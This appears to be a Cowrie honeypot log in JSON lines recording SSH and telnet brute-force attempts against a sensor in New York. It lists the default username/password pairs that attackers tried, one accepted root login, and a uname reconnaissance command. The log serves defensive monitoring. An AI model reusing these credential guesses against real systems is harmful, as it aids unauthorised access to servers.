{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:09.086452Z","src_ip":"92.118.39.95","session":"db146fdeae5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:10.216222Z","src_ip":"92.118.39.95","session":"db146fdeae5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34912,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e4868f4058","protocol":"ssh","message":"New connection: 193.32.162.151:34912 (159.203.135.109:22) [session: 95e4868f4058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:33:35.572474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:33:35.577705Z","src_ip":"193.32.162.151","session":"95e4868f4058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:33:35.682572Z","src_ip":"193.32.162.151","session":"95e4868f4058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:33:35.999539Z","src_ip":"193.32.162.151","session":"95e4868f4058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:33:37.214853Z","src_ip":"193.32.162.151","session":"95e4868f4058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":58350,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1722236e9d","protocol":"ssh","message":"New connection: 92.118.39.95:58350 (10.17.0.5:22) [session: ed1722236e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:34:20.644185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:34:20.647854Z","src_ip":"92.118.39.95","session":"ed1722236e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:34:20.768521Z","src_ip":"92.118.39.95","session":"ed1722236e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:34:21.084533Z","src_ip":"92.118.39.95","session":"ed1722236e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:34:22.190734Z","src_ip":"92.118.39.95","session":"ed1722236e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42476,"dst_ip":"10.17.0.5","dst_port":22,"session":"b146c4c51f94","protocol":"ssh","message":"New connection: 80.94.92.186:42476 (10.17.0.5:22) [session: b146c4c51f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:15.612487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:15.842389Z","src_ip":"80.94.92.186","session":"b146c4c51f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:15.846157Z","src_ip":"80.94.92.186","session":"b146c4c51f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:18.531824Z","src_ip":"80.94.92.186","session":"b146c4c51f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:19.710537Z","src_ip":"80.94.92.186","session":"b146c4c51f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.130","src_port":26984,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e86f954876f","protocol":"telnet","message":"New connection: 66.132.172.130:26984 (10.17.0.5:23) [session: 8e86f954876f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:33.094544Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50824,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ef2d288c33e","protocol":"ssh","message":"New connection: 193.32.162.151:50824 (159.203.135.109:22) [session: 7ef2d288c33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:47.474064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:47.478820Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:47.583711Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eve","message":"login attempt [root/eve] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:47.972971Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.056150197982788,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:48.150576Z","src_ip":"66.132.172.130","session":"8e86f954876f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:48.213070Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:48.216656Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:48.326860Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:48.332701Z","src_ip":"193.32.162.151","session":"7ef2d288c33e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.130","src_port":27906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f65e9ae355","protocol":"telnet","message":"New connection: 66.132.172.130:27906 (10.17.0.5:23) [session: f3f65e9ae355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:52.378963Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.184","src_port":15812,"dst_ip":"10.17.0.5","dst_port":23,"session":"5021fd0bb476","protocol":"telnet","message":"New connection: 66.132.186.184:15812 (10.17.0.5:23) [session: 5021fd0bb476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:53.571516Z"}
{"eventid":"cowrie.session.closed","duration":4.027364015579224,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:35:56.406208Z","src_ip":"66.132.172.130","session":"f3f65e9ae355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.130","src_port":33816,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eee50fe396c","protocol":"telnet","message":"New connection: 66.132.172.130:33816 (10.17.0.5:23) [session: 8eee50fe396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:00.264761Z"}
{"eventid":"cowrie.session.closed","duration":15.267874240875244,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:08.839267Z","src_ip":"66.132.186.184","session":"5021fd0bb476","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.476258516311646,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:10.740893Z","src_ip":"66.132.172.130","session":"8eee50fe396c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.184","src_port":62064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2504f15a72d","protocol":"telnet","message":"New connection: 66.132.186.184:62064 (10.17.0.5:23) [session: c2504f15a72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:12.944270Z"}
{"eventid":"cowrie.session.closed","duration":3.0160508155822754,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:15.960232Z","src_ip":"66.132.186.184","session":"c2504f15a72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":35336,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6d4f24f6ea","protocol":"telnet","message":"New connection: 66.132.172.218:35336 (10.17.0.5:23) [session: 9c6d4f24f6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:21.297252Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.184","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"865524c3ae7f","protocol":"telnet","message":"New connection: 66.132.186.184:43592 (10.17.0.5:23) [session: 865524c3ae7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:22.623348Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c49b683a4ae","protocol":"ssh","message":"New connection: 92.118.39.95:42300 (10.17.0.5:22) [session: 7c49b683a4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:27.137197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:27.141487Z","src_ip":"92.118.39.95","session":"7c49b683a4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:27.243334Z","src_ip":"92.118.39.95","session":"7c49b683a4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"proxy","message":"login attempt [jito/proxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:27.649497Z","src_ip":"92.118.39.95","session":"7c49b683a4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:28.755755Z","src_ip":"92.118.39.95","session":"7c49b683a4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.13327407836914,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:33.756533Z","src_ip":"66.132.186.184","session":"865524c3ae7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.688835859298706,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:36:36.985956Z","src_ip":"66.132.172.218","session":"9c6d4f24f6ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38484,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fed24a1cbda","protocol":"ssh","message":"New connection: 193.32.162.151:38484 (159.203.135.109:22) [session: 4fed24a1cbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:37:56.575354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:37:56.580104Z","src_ip":"193.32.162.151","session":"4fed24a1cbda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:37:56.686569Z","src_ip":"193.32.162.151","session":"4fed24a1cbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:37:57.011137Z","src_ip":"193.32.162.151","session":"4fed24a1cbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:37:58.118437Z","src_ip":"193.32.162.151","session":"4fed24a1cbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5346,"dst_ip":"10.17.0.5","dst_port":22,"session":"39dbd4796451","protocol":"ssh","message":"New connection: 2.57.121.25:5346 (10.17.0.5:22) [session: 39dbd4796451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:03.289828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:03.294835Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
